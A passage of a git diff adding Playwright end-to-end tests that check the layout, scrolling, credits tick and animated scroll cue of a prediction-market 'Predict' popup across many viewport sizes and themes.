dialog.getByTestId("credits-line"); + await line.evaluate((element) => element.scrollIntoView({ block: "nearest" })); + await expect.soft(line.getByTestId("credits-note")).toHaveText(NOTES[credits]); + expect.soft(await sitsWhole(line), `${credits}: the line sits whole in the amount panel`).toBe(true); + // the note is one line at every width, so no state grows the panel + expect + .soft( + await line.getByTestId("credits-note").evaluate((element) => element.getBoundingClientRect().height), + `${credits}: the note is one line`, + ) + .toBeLessThanOrEqual(16.5); + expect + .soft( + await line.getByTestId("credits-note").evaluate((element) => element.scrollWidth <= element.clientWidth), + `${credits}: the note is not cut`, + ) + .toBe(true); + expect + .soft( + await page.evaluate(() => document.documentElement.scrollWidth <= window.innerWidth), + `${credits}: no sideways scroll`, + ) + .toBe(true); + + // the tick starts on wherever credits are usable, and Predict stays free + const tick = dialog.getByRole("checkbox", { name: TICK }); + await expect.soft(tick).toHaveCount(NONE_USABLE.includes(credits) ? 0 : 1); + if (!NONE_USABLE.includes(credits)) await expect.soft(tick).toBeChecked(); + const max = dialog.getByRole("button", { name: "Max credits" }); + if (NONE_USABLE.includes(credits)) await expect.soft(max).toBeHidden(); + else await expect.soft(max).toBeVisible(); + await expect.soft(dialog.getByRole("status")).toBeEmpty(); + await expect.soft(dialog.getByRole("button", { name: "Predict", exact: true })).toBeEnabled(); + + for (const title of STEPS) { + const step = dialog.getByText(title, { exact: true }); + await step.evaluate((element) => element.scrollIntoView({ block: "nearest" })); + const barTop = (await dialog.locator(".predict-footer > .predict-cta").boundingBox())!.y; + const box = (await step.boundingBox())!; + expect + .soft(box.y + box.height, `${credits}: "${title}" ends above the Predict bar`) + .toBeLessThanOrEqual(barTop); + } + + await dialog.evaluate((element) => element.querySelectorAll("*").forEach((child) => child.scrollTo(0, 0))); + const name = `credits-${viewport.width}x${viewport.height}-${theme}-${credits}.png`; + const shot = await page.screenshot({ animations: "disabled" }); + await testInfo.attach(name, { body: shot, contentType: "image/png" }); + footprints[credits] = await footprint(dialog); + } + + for (const credits of CREDIT_STATES) { + expect.soft(footprints[credits], `${credits} holds the enough state's footprint`).toEqual(footprints.enough); + } + expect.soft(pageErrors, "page errors").toEqual([]); + }); + + test("starts ticked with Max credits and Predict free; unticking and ticking move nothing", async ({ + page, + }, testInfo) => { + const dialog = await openCredits(page, "enough", theme); + // at 320 x 568 the tick's target opens 7px past the fold; the scroll a press makes is the next test's + await dialog.getByTestId("credits-line").evaluate((element) => element.scrollIntoView({ block: "nearest" })); + const before = await footprint(dialog); + const tick = dialog.getByRole("checkbox", { name: TICK }); + const useMax = dialog.getByRole("button", { name: "Max credits" }); + const predict = dialog.getByRole("button", { name: "Predict", exact: true }); + const status = dialog.getByRole("status"); + + await expect(tick).toBeChecked(); + await expect(useMax).toBeVisible(); + await expect(status).toBeEmpty(); + await expect(predict).toBeEnabled(); + await expect(dialog.getByText("≈ 10 sDAI from your credits")).toBeVisible(); + await testInfo.attach(`credits-${viewport.width}x${viewport.height}-${theme}-ticked.png`, { + body: await page.screenshot({ animations: "disabled" }), + contentType: "image/png", + }); + + await tickLabel(dialog).click(); + await expect(tick).not.toBeChecked(); + await expect(useMax).toBeHidden(); + await expect(status).toBeEmpty(); + await expect(predict).toBeEnabled(); + expect(await footprint(dialog)).toEqual(before); + + await tickLabel(dialog).click(); + await expect(tick).toBeChecked(); + expect(await footprint(dialog)).toEqual(before); + }); + + test("scrolls the body on a first tick press no further than brings the line whole into view", async ({ + page, + }, testInfo) => { + const dialog = await openCredits(page, "enough", theme); + // the line's nearest scrolling ancestor, and how far the tick's target runs past its visible foot + const read = () => + tickLabel(dialog).evaluate((label) => { + let box = label.parentElement!; + while (!["auto", "scroll"].includes(getComputedStyle(box).overflowY)) box = box.parentElement!; + const below = label.getBoundingClientRect().bottom - box.getBoundingClientRect().bottom; + return { scrolled: box.scrollTop, below: Math.max(0, below) }; + }); + const before = await read(); + testInfo.annotations.push({ type: "below the fold at open", description: `${before.below}px` }); + await tickLabel(dialog).click(); + const after = await read(); + expect(after.below).toBe(0); + expect(after.scrolled - before.scrolled).toBeLessThanOrEqual(Math.ceil(before.below)); + }); + + test("the tick's target is 44px tall on its 20px row", async ({ page }) => { + const dialog = await openCredits(page, "enough", theme); + const label = tickLabel(dialog); + const row = (await label.evaluate((element) => element.parentElement!.getBoundingClientRect().height))!; + expect((await label.boundingBox())!.height).toBeGreaterThanOrEqual(44); + expect(row).toBe(20); + }); + }); + } +} + +for (const viewport of VIEWPORTS) { + test.describe(`a large credits swap loss at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + test("is said whole on one small line of the status line", async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&credits=enough&swapLoss=0.5&theme=light`); + const line = page.getByRole("dialog").getByTestId("status-text"); + + await expect(line).toHaveText("Credits swap loses ≈ 0.5 xDAI."); + const [lines, height, lineHeight, fontSize, fits] = await line.evaluate((element) => { + const range = document.createRange(); + range.selectNodeContents(element); + return [ + new Set([...range.getClientRects()].map((box) => Math.round(box.top))).size, + element.getBoundingClientRect().height, + parseFloat(getComputedStyle(element).lineHeight), + parseFloat(getComputedStyle(element).fontSize), + element.scrollWidth <= element.clientWidth, + ]; + }); + expect(lines).toBe(1); + // layout heights carry sub-pixel error, so the box is compared to the computed line-height in whole pixels + expect(Math.round(height)).toBe(Math.round(lineHeight)); + expect(fontSize).toBe(12); + expect(fits).toBe(true); + }); + }); +} + +// the trade wallet holds 6 sDAI and the amount is 10; credits are spent trade wallet first, then the wallet's +const FUNDS_STEP = [ + { credits: "enough", ticked: "10 credits" }, + { credits: "partial", ticked: "3 credits" }, +] as const; + +for (const { credits, ticked } of FUNDS_STEP) { + test(`the Add funds step names the ${credits} credits the tick moves, and the sDAI once unticked`, async ({ + page, + }) => { + const dialog = await openCredits(page, credits, "light"); + const step = dialog.getByRole("listitem").filter({ hasText: "Add funds" }); + + await expect(step).toContainText(ticked); + await expect(step).not.toContainText("sDAI"); + + await tickLabel(dialog).click(); + await expect(step).toContainText("4 sDAI"); + await expect(step).not.toContainText("credits"); + }); +} + +// the harness's stored run deposits 4 of the pay token and, with credits on, moves 2 from the visitor's wallet +const RECOVERED_FUNDS = [ + { query: "pay=native", adds: "4 xDAI" }, + { query: "pay=native&credits=enough", adds: "2 credits + 4 xDAI" }, + { query: "credits=enough", adds: "2 credits + 4 sDAI" }, + // a stored run keeps the credits it started with after the manager empties + { query: "credits=empty", adds: "2 credits + 4 sDAI" }, +] as const; + +for (const { query, adds } of RECOVERED_FUNDS) { + test(`a stored run's Add funds step names its own deposit, ${query}`, async ({ page }) => { + await page.setViewportSize({ width: 320, height: 568 }); + await openHarness(page, `${harness.url}?options=2&state=recovered&${query}`); + const dialog = page.getByRole("dialog"); + const step = dialog.getByRole("listitem").filter({ hasText: "Add funds" }); + + await expect(step.getByText(adds, { exact: true })).toBeVisible(); + await expect(dialog.getByLabel("Amount")).toHaveValue("4"); + if (!query.includes("pay=native")) return; + // 4 xDAI at the harness's 1.0937 xDAI an sDAI + const note = dialog.getByText("Locked to this prediction's amount; the deposit ≈ 3.6573 sDAI.", { exact: true }); + expect(await lineBoxes(note), "the note's lines at 320px").toBeLessThanOrEqual(2); + }); +} + +for (const viewport of [ + { width: 320, height: 568 }, + { width: 375, height: 667 }, +]) { + test(`a stored xDAI run's note holds two lines with a 36,680.1234 sDAI deposit at ${viewport.width} x ${viewport.height}`, async ({ + page, + }) => { + await page.setViewportSize(viewport); + await openHarness(page, `${harness.url}?options=2&state=recovered&pay=native&deposited=36680.1234`); + const note = page + .getByRole("dialog") + .getByText("Locked to this prediction's amount; the deposit ≈ 36,680.1234 sDAI.", { exact: true }); + + expect(await lineBoxes(note)).toBeLessThanOrEqual(2); + }); +} + +/** The rendered lines of an element's text; its box alone can't tell, as the note reserves two lines. */ +async function lineBoxes(element: Locator): Promise { + return element.evaluate((node) => { + const range = document.createRange(); + range.selectNodeContents(node); + return new Set([...range.getClientRects()].map((box) => Math.round(box.top))).size; + }); +} diff --git a/apps/web/e2e/tests/predict-popup-layout.spec.ts b/apps/web/e2e/tests/predict-popup-layout.spec.ts new file mode 100644 index 00000000..1853c5ee --- /dev/null +++ b/apps/web/e2e/tests/predict-popup-layout.spec.ts @@ -0,0 +1,3170 @@ +import { expect, test, type Locator, type Page } from "@playwright/test"; + +import { openHarness, startHarness } from "../utils/component-harness"; + +const STEPS = ["Create a trade wallet", "Add funds", "Place prediction"]; +/** Every point of a run the harness can render; `?state=` in e2e/harness/predict-popup/main.tsx. */ +const STATES = [ + "idle", + "quoting", + "signing", + "confirming", + "failed", + "pending", + "success", + "recovered", + "over", + "disconnected", +] as const; +/** Every PredictFailureReason, plus "fee": funds short after money moved. */ +const FAILURE_REASONS = [ + "fee", + "rejected", + "cancelled", + "reverted", + "rpc", + "unknown", + "no-route", + "quote", + "funds", + "balance", + "deposit-unconfirmed", + "wrong-wallet", + "wrong-chain", +]; +const VIEWPORTS = [ + { width: 320, height: 568 }, + { width: 360, height: 640 }, + { width: 360, height: 740 }, + { width: 375, height: 812 }, + { width: 375, height: 667 }, + { width: 820, height: 1180 }, + { width: 1024, height: 768 }, + { width: 1280, height: 720 }, + { width: 1366, height: 657 }, + { width: 1280, height: 800 }, +]; +const SIDE_MARGIN = 16; +/** The states a run passes through from idle, which hold idle's amount and so list the same trades. */ +const SAME_TRADES: readonly string[] = ["idle", "quoting", "signing", "confirming", "failed", "pending", "success"]; +/** Windows, or a window and an option count, too short for every step at rest, where the body scrolls with its cue. */ +const SCROLLING = ["320x568", "360x640", "1366x657", "1280x720-10"]; + +let harness: Awaited>; + +test.beforeAll(async () => { + harness = await startHarness("predict-popup"); +}); + +test.afterAll(async () => { + await harness?.close(); +}); + +/** + * True when every pixel of `locator` is on screen, inside each scrolling ancestor's + * box, and not painted over: the browser's hit test at its corners and centre lands on it. + */ +function isFullyShown(locator: Locator): Promise { + return locator.evaluate((element) => { + const rect = element.getBoundingClientRect(); + if (rect.width === 0 || rect.height === 0) return false; + + let clip = { top: 0, left: 0, bottom: window.innerHeight, right: window.innerWidth }; + for (let parent = element.parentElement; parent; parent = parent.parentElement) { + const { overflowX, overflowY } = getComputedStyle(parent); + if (overflowX === "visible" && overflowY === "visible") continue; + const box = parent.getBoundingClientRect(); + clip = { + top: Math.max(clip.top, box.top), + left: Math.max(clip.left, box.left), + bottom: Math.min(clip.bottom, box.bottom), + right: Math.min(clip.right, box.right), + }; + } + const EPSILON = 1; + if ( + rect.top < clip.top - EPSILON || + rect.left < clip.left - EPSILON || + rect.bottom > clip.bottom + EPSILON || + rect.right > clip.right + EPSILON + ) { + return false; + } + + // a rounded corner is not part of the element, so its probe sits inside the curve + const radius = parseFloat(getComputedStyle(element).borderTopLeftRadius) || 0; + const inset = Math.max(2, Math.min(radius, rect.width / 2, rect.height / 2)); + const points: Array<[number, number]> = [ + [rect.left + rect.width / 2, rect.top + rect.height / 2], + [rect.left + inset, rect.top + inset], + [rect.right - inset, rect.bottom - inset], + ]; + return points.every(([x, y]) => { + const hit = document.elementFromPoint(x, y); + return hit !== null && (hit === element || element.contains(hit)); + }); + }); +} + +async function openPopup( + page: Page, + options: number, + state: (typeof STATES)[number] = "idle", + reason?: string, + extra = "", +) { + await openHarness( + page, + `${harness.url}?options=${options}&state=${state}${reason ? `&reason=${reason}` : ""}${extra}`, + ); + const dialog = page.getByRole("dialog"); + await expect(dialog.getByRole("button", { name: "Close" })).toBeVisible(); + const accent = await page.evaluate(() => getComputedStyle(document.documentElement).getPropertyValue("--fs-accent")); + expect(accent.trim(), "the harness loads Foresight's token layer").not.toBe(""); + await expect( + dialog.getByRole("listitem").filter({ has: page.getByRole("img", { name: /the market$/ }) }), + ).toHaveCount(options); + await settle(dialog); + return dialog; +} + +/** Opens the summary under the amount, as the visitor would, and waits for its entrance to finish. */ +async function openSummary(dialog: Locator) { + const head = dialog.getByTestId("predict-summary").getByRole("button").first(); + await head.click(); + await expect(head).toHaveAttribute("aria-expanded", "true"); + await dialog.page().mouse.move(0, 0); + await settle(dialog); +} + +/** Waits out every finite animation in the dialog. */ +async function settle(dialog: Locator) { + // a finished entrance leaves no transform behind to count as overflow; the running pulse never finishes + await dialog.evaluate((element) => + Promise.all( + element + .getAnimations({ subtree: true }) + .filter((animation) => animation.effect?.getTiming().iterations !== Infinity) + // the cue's nudge ends where it starts, and waiting it out would end it + .filter((animation) => (animation as CSSAnimation).animationName !== "fsNudgeDown") + // a scroll-driven animation finishes only at the end of its scroll + .filter((animation) => animation.timeline === document.timeline) + // a transition retargeted mid-flight is cancelled, which rejects its promise + .map((animation) => animation.finished.catch(() => undefined)), + ), + ); +} + +/** The boxes a state change must not move: the dialog, its button, and the scrolled body's full height. */ +async function footprint(page: Page, dialog: Locator) { + const box = (await dialog.boundingBox())!; + const button = (await dialog.locator(".predict-footer > .predict-cta").boundingBox())!; + const body = await page.getByTestId("predict-body").evaluate((element) => element.getBoundingClientRect().height); + const bullet = (await dialog.locator("ol [data-bullet]").first().boundingBox())!; + const round = (value: number) => Math.round(value * 10) / 10; + return { + dialog: [box.x, box.y, box.width, box.height].map(round), + footer: [button.x, button.y, button.width, button.height].map(round), + body: round(body), + steps: round(bullet.x), + }; +} + +for (const height of [812, 667]) { + for (const options of [2, 10]) { + test.describe(`a ${options}-option popup at 375 x ${height}`, () => { + test.use({ viewport: { width: 375, height } }); + + test("keeps side margins, shows every step above the sticky bar and each estimate", async ({ + page, + }, testInfo) => { + const pageErrors: string[] = []; + page.on("pageerror", (error) => pageErrors.push(error.message)); + + const dialog = await openPopup(page, options); + await testInfo.attach(`popup-375x${height}-${options}-options`, { + body: await page.screenshot(), + contentType: "image/png", + }); + + const popup = await dialog.boundingBox(); + expect.soft(popup, "the popup has a box").not.toBeNull(); + if (popup) { + expect.soft(popup.x, "left margin").toBeGreaterThanOrEqual(SIDE_MARGIN); + expect.soft(375 - (popup.x + popup.width), "right margin").toBeGreaterThanOrEqual(SIDE_MARGIN); + } + + const barTop = (await dialog.locator(".predict-footer > .predict-cta").boundingBox())!.y; + const cue = await dialog + .getByTestId("more-below") + .evaluate((element) => + getComputedStyle(element).opacity === "0" ? Infinity : element.getBoundingClientRect().top, + ); + // the short-window rules exist for this: a phone at 375 x 667 opens with every step in view + for (const title of height === 667 ? STEPS : []) { + const step = dialog.getByText(title, { exact: true }); + expect.soft(await isFullyShown(step), `"${title}" is in view as the popup opens`).toBe(true); + const box = await step.boundingBox(); + expect.soft(box && box.y + box.height, `"${title}" ends above the more-below cue`).toBeLessThanOrEqual(cue); + } + for (const title of STEPS) { + const step = dialog.getByText(title, { exact: true }); + await step.evaluate((element) => element.scrollIntoView({ block: "nearest" })); + expect.soft(await isFullyShown(step), `"${title}" is shown once scrolled to`).toBe(true); + const box = await step.boundingBox(); + expect.soft(box && box.y + box.height, `"${title}" ends above the Predict bar`).toBeLessThanOrEqual(barTop); + } + + const rows = dialog.getByRole("listitem").filter({ has: page.getByRole("img", { name: /the market$/ }) }); + for (let index = 0; index < options; index++) { + const row = rows.nth(index); + await row.evaluate((element) => element.scrollIntoView({ block: "nearest" })); + expect.soft(await isFullyShown(row), `estimate ${index + 1} is shown once scrolled to`).toBe(true); + } + + // each estimate's market move is in the summary, shown whole once it is open + await openSummary(dialog); + const moves = dialog.getByTestId("market-move"); + await expect.soft(moves).toHaveCount(options); + for (let index = 0; index < options; index++) { + const move = moves.nth(index); + await move.evaluate((element) => element.scrollIntoView({ block: "nearest" })); + expect + .soft( + await move.evaluate((element) => { + const row = element.closest("li")!.getBoundingClientRect(); + const box = element.getBoundingClientRect(); + return element.scrollWidth <= element.clientWidth && box.left >= row.left && box.right <= row.right; + }), + `estimate ${index + 1}'s market move is shown whole`, + ) + .toBe(true); + } + await openPopup(page, options); + + expect.soft(pageErrors, "page errors").toEqual([]); + + // A baseline is only ever taken of a layout that passes the checks above; Harman signs it off. + if (testInfo.errors.length > 0) return; + // the estimate list and the body each scroll; the baseline is both at rest + await dialog.evaluate((element) => element.querySelectorAll("*").forEach((child) => child.scrollTo(0, 0))); + await expect(page).toHaveScreenshot(`predict-popup-375x${height}-${options}-options.png`, { + animations: "disabled", + caret: "hide", + }); + }); + }); + } +} + +for (const viewport of VIEWPORTS) { + for (const options of [2, 10]) { + test.describe(`the ${options}-estimate popup through a run at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + test("keeps one footprint and its button in place in every state, summary open or closed, inside the window", async ({ + page, + }, testInfo) => { + const pageErrors: string[] = []; + page.on("pageerror", (error) => pageErrors.push(error.message)); + + const idleDialog = await openPopup(page, options, "idle"); + const idle = await footprint(page, idleDialog); + // the popup fits the window: every step is in view as the popup opens, with nothing to scroll to + const size = `${viewport.width}x${viewport.height}`; + for (const title of SCROLLING.includes(size) || SCROLLING.includes(`${size}-${options}`) ? [] : STEPS) { + expect + .soft(await isFullyShown(idleDialog.getByText(title, { exact: true })), `"${title}" is in view at open`) + .toBe(true); + } + const returning = await openPopup(page, options, "idle", undefined, "&first=0"); + expect + .soft(await footprint(page, returning), "a returning predictor has the idle popup's footprint") + .toEqual(idle); + for (const state of STATES) { + const dialog = await openPopup(page, options, state); + await testInfo.attach(`${viewport.width}x${viewport.height}-${options}-${state}`, { + body: await page.screenshot(), + contentType: "image/png", + }); + + expect.soft(await footprint(page, dialog), `${state} has the idle popup's footprint`).toEqual(idle); + + const box = (await dialog.boundingBox())!; + expect.soft(box.x, `${state}: left edge in the window`).toBeGreaterThanOrEqual(0); + expect.soft(box.x + box.width, `${state}: right edge in the window`).toBeLessThanOrEqual(viewport.width); + expect.soft(box.y + box.height, `${state}: bottom edge in the window`).toBeLessThanOrEqual(viewport.height); + + // a run's form is locked, and the popup scrolls to its running or failed step instead + const isEditable = state === "idle" || state === "over" || state === "disconnected"; + for (const control of isEditable + ? [ + ...(state === "disconnected" ? [] : [dialog.getByRole("button", { name: "Max" })]), + dialog.getByRole("button", { name: /sDAI/ }), + ] + : []) { + expect + .soft(await isFullyShown(control), `${state}: ${await control.textContent()} is reachable`) + .toBe(true); + } + if (state === "disconnected" || state === "recovered") { + await expect.soft(dialog.getByRole("button", { name: "Max" }), `${state}: Max is not offered`).toBeHidden(); + } + if (isEditable && state !== "disconnected") { + const max = (await dialog.getByRole("button", { name: "Max" }).boundingBox())!; + expect.soft(Math.min(max.width, max.height), `${state}: Max is a 44px target`).toBeGreaterThanOrEqual(44); + } + + const status = dialog.getByRole("status"); + if ((await status.textContent())?.trim()) { + expect.soft(await isFullyShown(status), `${state}: the status line is in view`).toBe(true); + } + expect + .soft( + await status.evaluate((element) => element.scrollHeight <= element.clientHeight + 1), + `${state}: the status line fits its slot`, + ) + .toBe(true); + } + + // open, the summary adds its rows; a run then keeps the open idle popup's footprint + await openSummary(await openPopup(page, options, "idle")); + const idleOpen = await footprint(page, page.getByRole("dialog")); + // where the dialog's top, sides and button sit; its height follows the trades it lists + const frame = ({ dialog: [x, y, width], footer: [fx, , fwidth, fheight], steps }: typeof idleOpen) => ({ + dialog: [x, y, width], + footer: [fx, fwidth, fheight], + steps, + }); + for (const [state, extra] of [...STATES.map((state) => [state, ""] as const), ["idle", "&first=0"] as const]) { + const dialog = await openPopup(page, options, state, undefined, extra); + await openSummary(dialog); + const open = await footprint(page, dialog); + if (SAME_TRADES.includes(state) && extra === "") { + expect.soft(open, `${state} with the summary open`).toEqual(idleOpen); + } else { + // another amount, or a stored run, lists other trades + expect.soft(frame(open), `${state}${extra} with the summary open`).toEqual(frame(idleOpen)); + const box = (await dialog.boundingBox())!; + expect + .soft(box.y + box.height, `${state}${extra} open: bottom edge in the window`) + .toBeLessThanOrEqual(viewport.height); + } + } + expect.soft(pageErrors, "page errors").toEqual([]); + + if (testInfo.errors.length > 0 || size !== "1280x800" || options !== 2) return; + await openPopup(page, 2, "idle"); + await expect(page).toHaveScreenshot("predict-popup-1280x800-idle.png", { + animations: "disabled", + caret: "hide", + }); + }); + }); + } +} + +test.describe("the popup's scroll area", () => { + for (const viewport of [ + { width: 1280, height: 800 }, + { width: 375, height: 667 }, + ]) { + test(`says there is more below until it is scrolled to the end at ${viewport.width} x ${viewport.height}`, async ({ + page, + }) => { + await page.setViewportSize(viewport); + const dialog = await openPopup(page, 10); + const scroller = page.getByTestId("predict-body").locator(".."); + const cue = dialog.getByTestId("more-below"); + const overflows = await scroller.evaluate((element) => element.scrollHeight > element.clientHeight); + + if (overflows) { + await expect(cue).toHaveCSS("opacity", "1"); + expect(await cue.evaluate((element) => getComputedStyle(element).pointerEvents)).toBe("none"); + await scroller.evaluate((element) => element.scrollTo(0, element.scrollHeight)); + } + await expect(cue).toHaveCSS("opacity", "0"); + }); + } + + for (const theme of ["light", "dark"]) { + test(`draws its cue in the popup's own text and hairline tones in the ${theme} theme`, async ({ page }) => { + await page.setViewportSize({ width: 320, height: 568 }); + const dialog = await openPopup(page, 2, "idle", undefined, `&theme=${theme}`); + const cue = dialog.getByTestId("more-below"); + await expect(cue).toHaveCSS("opacity", "1"); + const [tones, expected] = await cue.evaluate((element) => { + const probe = document.createElement("span"); + probe.style.color = "var(--fs-popup-text-2)"; + probe.style.borderTopColor = "var(--fs-popup-line)"; + element.parentElement!.append(probe); + const want = getComputedStyle(probe); + const got = getComputedStyle(element); + const pair = [ + [got.color, got.borderTopColor], + [want.color, want.borderTopColor], + ]; + probe.remove(); + return pair; + }); + expect(tones).toEqual(expected); + }); + } + + // 360 x 716 leaves the body a few px short of its steps + for (const viewport of [ + { width: 360, height: 640 }, + { width: 360, height: 716 }, + { width: 360, height: 740 }, + { width: 320, height: 568 }, + ]) { + for (const options of [2, 3, 10]) { + test(`scrolls to a run's steps only where it said there was more below, ${options} estimates at ${viewport.width} x ${viewport.height}`, async ({ + page, + }) => { + await page.setViewportSize(viewport); + const idle = await openPopup(page, options); + const scroller = page.getByTestId("predict-body").locator(".."); + const cued = + (await idle.getByTestId("more-below").evaluate((element) => getComputedStyle(element).opacity)) === "1"; + const canScroll = await scroller.evaluate((element) => element.scrollHeight > element.clientHeight); + expect.soft(canScroll, "the body scrolls only with its cue").toBe(cued); + + const titleTop = async () => (await page.getByText("You pay", { exact: true }).boundingBox())!.y; + const atRest = await titleTop(); + await openPopup(page, options, "signing"); + if (!cued) { + expect + .soft(await scroller.evaluate((element) => element.scrollTop), "the body's scroll once signing") + .toBe(0); + expect.soft(await titleTop(), "the amount's title once signing").toBe(atRest); + } + }); + } + } + + for (const [width, height, options] of [ + [320, 568, 2], + [360, 640, 10], + [1366, 657, 10], + ] as const) { + for (const state of ["signing", "failed"] as const) { + test(`opens ${state} with its steps' foot at the body's foot, ${options} estimates at ${width} x ${height}`, async ({ + page, + }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + await page.setViewportSize({ width, height }); + await openPopup(page, options, state); + const scroller = await page.getByTestId("predict-body").locator("..").boundingBox(); + const steps = await page.locator(".predict-steps").boundingBox(); + + expect(steps!.y + steps!.height).toBeLessThanOrEqual(scroller!.y + scroller!.height + 1); + }); + } + } + + for (const width of [320, 360, 375]) { + for (const options of [2, 3, 10]) { + test(`lays its cue over no step at any phone height, ${options} estimates at ${width} wide`, async ({ page }) => { + await page.setViewportSize({ width, height: 812 }); + const dialog = await openPopup(page, options); + const scroller = page.getByTestId("predict-body").locator(".."); + const cue = dialog.getByTestId("more-below"); + const titles = STEPS.map((title) => dialog.getByText(title, { exact: true })); + + // every height from 560 to 812, 360 x 712 and 320 x 640 among them + for (let height = 560; height <= 812; height += 2) { + await page.setViewportSize({ width, height }); + await page.evaluate( + () => new Promise((resolve) => requestAnimationFrame(() => requestAnimationFrame(resolve))), + ); + await scroller.evaluate((element) => element.scrollTo(0, 0)); + await page.evaluate( + () => new Promise((resolve) => requestAnimationFrame(() => requestAnimationFrame(resolve))), + ); + + const canScroll = await scroller.evaluate((element) => element.scrollHeight > element.clientHeight); + const cueBox = await cue.evaluate((element) => + element.classList.contains("opacity-0") ? null : element.getBoundingClientRect().toJSON(), + ); + expect + .soft(cueBox !== null, `${width} x ${height}: the cue shows exactly when the body scrolls`) + .toBe(canScroll); + if (!cueBox) continue; + const view = (await scroller.boundingBox())!; + for (const [index, title] of titles.entries()) { + const box = (await title.boundingBox())!; + // only the part the scroll area shows can be painted over + const top = Math.max(box.y, view.y); + const bottom = Math.min(box.y + box.height, view.y + view.height); + const overlaps = top < bottom && top < cueBox.bottom && bottom > cueBox.top; + expect.soft(overlaps, `${width} x ${height}: the cue lies over "${STEPS[index]}"`).toBe(false); + } + } + }); + } + } + + // the cut row and its fade say there is more, on a phone too; four rows on a wide popup would overflow by a fade's worth for nothing + for (const [width, height, options, rows] of [ + [1280, 800, 10, 3.5], + [1280, 800, 4, 4], + [375, 667, 10, 2.5], + [360, 740, 4, 2.5], + [375, 667, 3, 3], + ] as const) { + test(`shows ${rows} estimate rows of ${options} at ${width} x ${height}`, async ({ page }) => { + await page.setViewportSize({ width, height }); + const dialog = await openPopup(page, options); + const list = dialog.getByRole("list").first(); + const [box, row] = await Promise.all([ + list.locator("..").boundingBox(), + list.getByRole("listitem").first().boundingBox(), + ]); + + expect(box!.height / row!.height).toBeCloseTo(rows, 1); + if (!Number.isInteger(rows)) { + // the cut row lies wholly under the fade, which reaches the panel's tone at the edge, so no glyph shows a hard cut + const fade = (await list.locator("xpath=../following-sibling::div[1]").boundingBox())!; + expect(fade.height).toBeGreaterThanOrEqual(row!.height); + } + }); + } + + test("fades a whole step row over the body's foot while it scrolls, so no bullet shows cut", async ({ page }) => { + await page.setViewportSize({ width: 375, height: 667 }); + const dialog = await openPopup(page, 10, "idle", undefined, "&first=0"); + await dialog.getByRole("button", { name: /markets? move|Market prices/ }).click(); + await settle(dialog); + const body = page.getByTestId("predict-body"); + const fade = body.locator("xpath=../following-sibling::div[1]"); + + await expect(fade).toBeVisible(); + expect((await fade.boundingBox())!.height).toBeGreaterThanOrEqual(40); + }); +}); + +/** The cue nudge's animations, with what each keyframe sets besides its own timing. */ +function nudges(page: Page) { + return page.getByTestId("more-below-nudge").evaluate((arrow) => + arrow.getAnimations().map((animation) => ({ + name: (animation as CSSAnimation).animationName, + iterations: animation.effect!.getTiming().iterations, + properties: [ + ...new Set( + (animation.effect as KeyframeEffect) + .getKeyframes() + .flatMap((frame) => + Object.keys(frame).filter((key) => !["offset", "computedOffset", "easing", "composite"].includes(key)), + ), + ), + ], + })), + ); +} + +/** Records the cue nudge's animation events from the page's first script. */ +async function recordNudges(page: Page) { + await page.addInitScript(() => { + const seen: string[] = []; + (window as unknown as { nudges: string[] }).nudges = seen; + for (const type of ["animationstart", "animationiteration", "animationend", "animationcancel"]) { + document.addEventListener( + type, + (event) => { + const target = event.target as Element; + if (target.getAttribute?.("data-testid") === "more-below-nudge") { + seen.push(`${type}:${(event as AnimationEvent).animationName}`); + } + }, + true, + ); + } + }); + return () => page.evaluate(() => (window as unknown as { nudges: string[] }).nudges); +} + +test.describe("the more-below cue's nudge", () => { + // 375 x 667 opens with every step in view; its cue shows once Details opens + const CASES = [ + { width: 1280, height: 720, options: 10, details: false }, + { width: 375, height: 640, options: 10, details: false }, + { width: 375, height: 667, options: 2, details: true }, + ]; + + for (const { width, height, options, details } of CASES) { + for (const theme of ["light", "dark"]) { + test(`nudges three times by transform alone, then rests, at ${width} x ${height} in the ${theme} theme`, async ({ + page, + }) => { + await page.setViewportSize({ width, height }); + const events = await recordNudges(page); + const dialog = await openPopup(page, options, "idle", undefined, `&theme=${theme}`); + const arrow = dialog.getByTestId("more-below-nudge"); + if (details) { + await expect(arrow).not.toHaveClass(/fs-nudge-down/); + await openSummary(dialog); + } + await expect(dialog.getByTestId("more-below")).toHaveCSS("opacity", "1"); + + expect(await nudges(page)).toEqual([{ name: "fsNudgeDown", iterations: 3, properties: ["transform"] }]); + // at 20 times the rate, the bound is counted without waiting out 6s + await arrow.evaluate((element) => { + for (const animation of element.getAnimations()) animation.playbackRate = 20; + }); + await expect.poll(events).toContain("animationend:fsNudgeDown"); + await page.waitForTimeout(500); + + expect(await events()).toEqual([ + "animationstart:fsNudgeDown", + "animationiteration:fsNudgeDown", + "animationiteration:fsNudgeDown", + "animationend:fsNudgeDown", + ]); + await expect(arrow).not.toHaveClass(/fs-nudge-down/); + expect(await nudges(page)).toEqual([]); + await expect(dialog.getByTestId("more-below")).toHaveCSS("opacity", "1"); + }); + } + } + + test("keeps nudging through the body's own scrolls, and stops for good at the visitor's wheel", async ({ page }) => { + await page.setViewportSize({ width: 375, height: 640 }); + const events = await recordNudges(page); + const dialog = await openPopup(page, 10); + const scroller = page.getByTestId("predict-body").locator(".."); + const arrow = dialog.getByTestId("more-below-nudge"); + expect(await nudges(page)).toHaveLength(1); + + await scroller.evaluate((element) => element.scrollBy(0, 8)); + await scroller.evaluate((element) => element.scrollTo(0, 0)); + await page.waitForTimeout(300); + await expect(arrow).toHaveClass(/fs-nudge-down/); + + const box = (await scroller.boundingBox())!; + await page.mouse.move(box.x + box.width / 2, box.y + box.height / 2); + await page.mouse.wheel(0, 8); + await expect(arrow).not.toHaveClass(/fs-nudge-down/); + await scroller.evaluate((element) => element.scrollTo(0, 0)); + await page.waitForTimeout(500); + + await expect(dialog.getByTestId("more-below")).toHaveCSS("opacity", "1"); + expect(await nudges(page)).toEqual([]); + const seen = await events(); + expect(seen.filter((event) => event.startsWith("animationstart"))).toHaveLength(1); + expect(seen).not.toContain("animationiteration:fsNudgeDown"); + }); + + test("nudges in a popup opened from its button that scrolls its body to a moved figure", async ({ page }) => { + await page.setViewportSize({ width: 375, height: 640 }); + await page.addInitScript(() => { + const scrolls: number[] = []; + (window as unknown as { bodyScrolls: number[] }).bodyScrolls = scrolls; + document.addEventListener( + "scroll", + (event) => { + const target = event.target as Element; + if 